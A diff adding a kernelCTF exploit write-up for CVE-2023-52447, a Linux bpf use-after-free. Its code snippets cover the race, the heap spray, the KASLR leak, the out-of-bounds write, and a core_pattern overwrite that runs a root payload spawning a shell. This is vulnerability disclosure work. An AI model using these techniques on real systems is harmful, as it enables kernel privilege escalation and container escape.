Add kernelCTF CVE-2023-52447_cos

pocs/linux/kernelctf/CVE-2023-52447_cos/docs/exploit.md

@@ -0,0 +1,271 @@
+# Exploit Tech Overview
+
+Start from https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=bba1dc0b55ac, free bpf map don't need to sync with rcu_lock.
+We note that bpf program is running under rcu_lock and lookup arraymap from array_of_maps won't increasing it's refcount.
+So such a bpf program allow us to get a reference to an arraymap without increasing it's refcount.
+```c
+		BPF_LD_MAP_FD(BPF_REG_9, array_of_map),
+		BPF_MAP_GET_ADDR(0, BPF_REG_8),
+		BPF_MOV64_REG(BPF_REG_9, BPF_REG_8),
+		BPF_MAP_GET_ADDR(
+			0,
+			BPF_REG_8), //store a arraymap from array_of_map without increase refcount at BPF_REG_8
+```
+
+In summary, the vulnerability is that bpf program can hold arraymap pointer without increase refcount if it's from array_of_maps.  
+If bpf first stores a arraymap pointer into one register, and do some time consume operation in the middle of program.  
+It gives other thread chance to free that arraymap can reclaim it to another structure like array_of_maps.
+In our exploit, arraymap and array_of_maps both under cache kmalloc-1024.
+
+
+```C
+//store a arraymap from array_of_map without increase refcount at BPF_REG_8
+BPF_LD_MAP_FD(BPF_REG_9, array_of_map),
+BPF_MAP_GET_ADDR(0, BPF_REG_8),
+BPF_MOV64_REG(BPF_REG_9, BPF_REG_8),
+BPF_MAP_GET_ADDR(0,BPF_REG_8),
+```
+
+`bpf_ringbuf_output` is a bpf function that use memcpy to copy buf to into another buf in line [1].    
+```C
+BPF_CALL_4(bpf_ringbuf_output, struct bpf_map *, map, void *, data, u64, size,
+	   u64, flags)
+{
+	struct bpf_ringbuf_map *rb_map;
+	void *rec;
+
+	if (unlikely(flags & ~(BPF_RB_NO_WAKEUP | BPF_RB_FORCE_WAKEUP)))
+		return -EINVAL;
+
+	rb_map = container_of(map, struct bpf_ringbuf_map, map);
+	rec = __bpf_ringbuf_reserve(rb_map->rb, size);
+	if (!rec)
+		return -EAGAIN;
+
+	memcpy(rec, data, size); //[1]
+	bpf_ringbuf_commit(rec, flags, false /* discard */);
+	return 0;
+}
+```
+
+If buf size is large, it will take some time to finish.  
+It will be a good choice to extend the race windows for release and reclaim.  
+
+```C
+// do time comsume operation using BPF_FUNC_ringbuf_output copy large size buffer
+BPF_MOV64_REG(BPF_REG_1, BPF_REG_6),
+BPF_MOV64_REG(BPF_REG_2, BPF_REG_7),
+BPF_MOV64_IMM(BPF_REG_3, 0x10000000),
+BPF_MOV64_IMM(BPF_REG_4, 0x0),
+BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_output)
+```
+
+Once the thread on one core is busy at bpf program. 
+We use another thread in another core to free and reclaim.
+Using a mmapable bpf to get the signal from bpf to nodify us we can start free.
+
+```c
+// Create a mmapable arraymap to signal we have stored target arraymap
+	int signal = bpf_create_map_mmap(BPF_MAP_TYPE_ARRAY, 4, 8, 0x30, 0);
+		// mmap arraymap region for userspace to know signal.
+	signal_addr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED,
+			   signal, 0);
+```
+
+thread0 write value `1` into our signal arraymap
+```c
+		BPF_LD_MAP_FD(BPF_REG_9, signal),
+		BPF_MAP_GET_ADDR(0, BPF_REG_7),
+		BPF_ST_MEM(
+			BPF_W, BPF_REG_7, 0,
+			1), // write value one to signal that we have stored target arraymap
+
+```
+
+thread1 busy wait until signal_addr become `1` and start free target
+```c
+	while (signal_addr[0] == 0)
+		;
+	// Free target
+	update_elem(array_of_map, 0, victim);
+```
+
+thread2 busy wait until signal_addr become `1` and start spray to reclaim as array_of_maps.
+Max_entries as 0x30 is to make sure reclaim array_of_maps in kmalloc-1024 which as cache as arraymap.
+
+```c
+	while (signal_addr[0] == 0)
+		;
+	for (int i = 0; i < 0x100; i++) {
+		spray_fd[i] = bpf_create_map(BPF_MAP_TYPE_ARRAY_OF_MAPS, 4, 4,
+					     0x30, samplemap);
+		update_elem(spray_fd[i], 0, victim);
+	}
+
+```
+
+
+Bpf program treats BPF_REG_8 stored map address as arrymap, but it's arry_of_maps.
+```C
+// Now BPF_REG_8 is freed and reallocate as array_of_map
+BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_8,0), 
+```
+
+We can leak arrymap address and array_map_ops by malformed arraymap.
+Once we know array_map_ops kernel address, we can find the kASLR base address
+```
+gef➤  p &array_map_ops
+$2 = (const struct bpf_map_ops *) 0xffffffff829c29e0 <array_map_ops>
+gef➤  p _stext
+$3 = {<text variable, no debug info>} 0xffffffff81000000 <startup_64>
+```
+
+```C
+BPF_LDX_MEM( BPF_DW, BPF_REG_0, BPF_REG_8, 0), // Now BPF_REG_8 is freed and reallocate as array_of_map
+BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_0, 0), // store a arrymap address to our arrymap as value
+BPF_ALU64_IMM(BPF_ADD, BPF_REG_0, -0x110), // adjust address to make value as bpf_array.map
+BPF_STX_MEM(BPF_W, BPF_REG_8, BPF_REG_0,0), //store our malformed arraymap info array_of_maps
+```
+
+# Exploit Tech Detail
+
+The exploit after win the race
+
+* Modified victim arraymap's max_entries and index_mask.
+* Use victim arraymap to modified near array_of_maps's value index 0 arraymap as (core_pattern-struct_bpf_array_offset).
+* Update array_of_maps to modify core_pattern.
+* Achieve container escape.
+
+
+## Modified victim arraymap's max_entries and index_mask.
+
+As the value is adjust as bpf_array.map, so we can create a bpf program to modify map.max_entrieds and array->index_mask
+
+```C
+		BPF_LD_MAP_FD(BPF_REG_9, target),
+		BPF_MAP_GET_ADDR(0, BPF_REG_9),
+		BPF_MAP_GET_ADDR(4, BPF_REG_8),
+		BPF_ST_MEM(BPF_W, BPF_REG_8, 4, 0x800), //modify map.max_entries
+
+		BPF_MAP_GET_ADDR(0x20, BPF_REG_8),
+		BPF_ST_MEM(BPF_W, BPF_REG_8, 4,0xffff), //modify array->index_mask
+```
+
+Modify map.max_entries as 0x800 to make sure it can overwrite to the next chunk under kmalloc-1024.
+Modify array->index_mask to 0xffff to achive oob read/write in array_map_lookup_elem and array_map_update_elem.
+```c
+static void *array_map_lookup_elem(struct bpf_map *map, void *key)
+{
+...
+
+	return array->value + (u64)array->elem_size * (index & array->index_mask);
+
+
+static long array_map_update_elem(struct bpf_map *map, void *key, void *value,
+				  u64 map_flags)
+{
+...
+		val = array->value +
+			(u64)array->elem_size * (index & array->index_mask);
+```
+
+
+So later we use bpf syscall to call array_map_lookup_elem/array_map_update_elem on bigger index.
+
+## Use victim arraymap to modified near array_of_maps's value index 0 arraymap as (core_pattern-struct_bpf_array_offset).
+
+Out of bound access from victim to modify next chunk's contents.  
+Use heap feng shui. Allocate some array_of_maps before and after victim arraymap.
+```c
+	// Allocate some array of maps before victim
+	for (int i = 0; i < 0x10; i++)
+		oob[i] = bpf_create_map(BPF_MAP_TYPE_ARRAY_OF_MAPS, 4, 4, 0x30,
+					samplemap);
+	victim = bpf_create_map(BPF_MAP_TYPE_ARRAY, 4, 8, 0x30, 0);
+
+	// Allocate some array of maps after victim
+	for (int i = 0; i < 0x10; i++)
+		oob[i + 0x10] = bpf_create_map(BPF_MAP_TYPE_ARRAY_OF_MAPS, 4, 4,
+					       0x30, samplemap);
+
+```
+The next chunk can be array_of_maps and we ovewrite its index 0 arraymap.  
+```c
+	// Store the address (core_pattern - struct_bpf_array_offset) we want to overwrite.
+	update_elem(victim, (0x400 + 0x110 - 0x110) / 8, kaddr);
+```
+
+## Update array_of_maps to modify core_pattern.
+
+Create another bpf program to modify index 0 arraymap and core_pattern will be overwritten.
+
+```C
+BPF_LD_MAP_FD(BPF_REG_9, target),
+BPF_MAP_GET_ADDR(0, BPF_REG_9),
+BPF_MAP_GET_ADDR(0, BPF_REG_8), // BPF_REG_8 will point to core_pattern
+BPF_MAP_GET_ADDR(1, BPF_REG_7), // BPF_REG_8 will point to core_pattern+8
+BPF_MAP_GET_ADDR(2, BPF_REG_6), // BPF_REG_8 will point to core_pattern+16
+
+BPF_LD_MAP_FD(BPF_REG_9, data),
+
+// Modify core_pattern to |/proc/%P/fd/666 %P
+BPF_MAP_GET(0, BPF_REG_4),
+BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_4, 0), 
+BPF_MAP_GET(1, BPF_REG_4),
+BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_4, 0),
+BPF_MAP_GET(2, BPF_REG_4),
+BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_4, 0),
+
+BPF_MOV64_IMM(BPF_REG_0, 0),
+BPF_EXIT_INSN()
+```
+
+## Achieve container escape.
+
+After core_pattern being overwritten to `|/proc/%P/fd/666 %P`:
+
+We then use memfd and write an executable file payload in fd 666.
+```C
+int check_core()
+{
+	// Check if /proc/sys/kernel/core_pattern has been overwritten
+	char buf[0x100] = {};
+	int core = open("/proc/sys/kernel/core_pattern", O_RDONLY);
+	read(core, buf, sizeof(buf));
+	close(core);
+	return strncmp(buf, "|/proc/%P/fd/666", 0x10) == 0;
+}
+void crash(char *cmd)
+{
+	int memfd = memfd_create("", 0);
+	SYSCHK(sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff));
+	dup2(memfd, 666);
+	close(memfd);
+	while (check_core() == 0)
+		sleep(1);
+	puts("Root shell !!");
+	/* Trigger program crash and cause kernel to executes program from core_pattern which is our "root" binary */
+	*(size_t *)0 = 0;
+}
+```
+
+Later when coredump happened, it will execute our executable file as root in root namespace:
+```C
+*(size_t*)0=0; //trigger coredump
+```
+
+This code for root to run looks like:
+```c++
+// This section of code will be execute by root!
+int pid = strtoull(argv[1], 0, 10);
+int pfd = syscall(SYS_pidfd_open, pid, 0);
+int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0);
+int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0);
+int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0);
+dup2(stdinfd, 0);
+dup2(stdoutfd, 1);
+dup2(stderrfd, 2);
+/* Get flag and poweroff immediately to boost next round try in PR verification workflow*/
+system("cat /flag");
+execlp("bash", "bash", NULL);
+```

pocs/linux/kernelctf/CVE-2023-52447_cos/docs/vulnerability.md

@@ -0,0 +1,12 @@
+- Requirements:
+    - Capabilites: NA
+    - Kernel configuration: CONFIG_BPF_SYSCALL=y
+    - User namespaces required: No
+- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit?id=bba1dc0b55ac462d24ed1228ad49800c238cd6d7
+- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=876673364161da50eed6b472d746ef88242b2368
+- Affected Version: v5.8 - v6.6
+- Affected Component: bpf
+- Syscall to disable: bpf
+- URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52447
+- Cause: Use-After-Free
+- Description: A use-after-free vulnerability in the Linux kernel's bpf. Release the reference of the old element in the map during map update or map deletion. The release must be deferred, otherwise the bpf program may incur use-after-free problems. We recommend upgrading past commit 876673364161da50eed6b472d746ef88242b2368.

pocs/linux/kernelctf/CVE-2023-52447_cos/exploit/cos-105-17412.294.10/Makefile

@@ -0,0 +1,7 @@
+all: exploit
+
+exploit: exploit.c
+	gcc -o exploit exploit.c -static -pthread
+
+clean:
+	rm -rf exploit